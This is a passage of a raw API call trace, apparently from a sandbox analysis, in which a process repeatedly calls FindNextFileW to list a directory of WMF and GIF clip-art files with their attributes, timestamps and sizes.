ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0071.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0071.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0071.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, 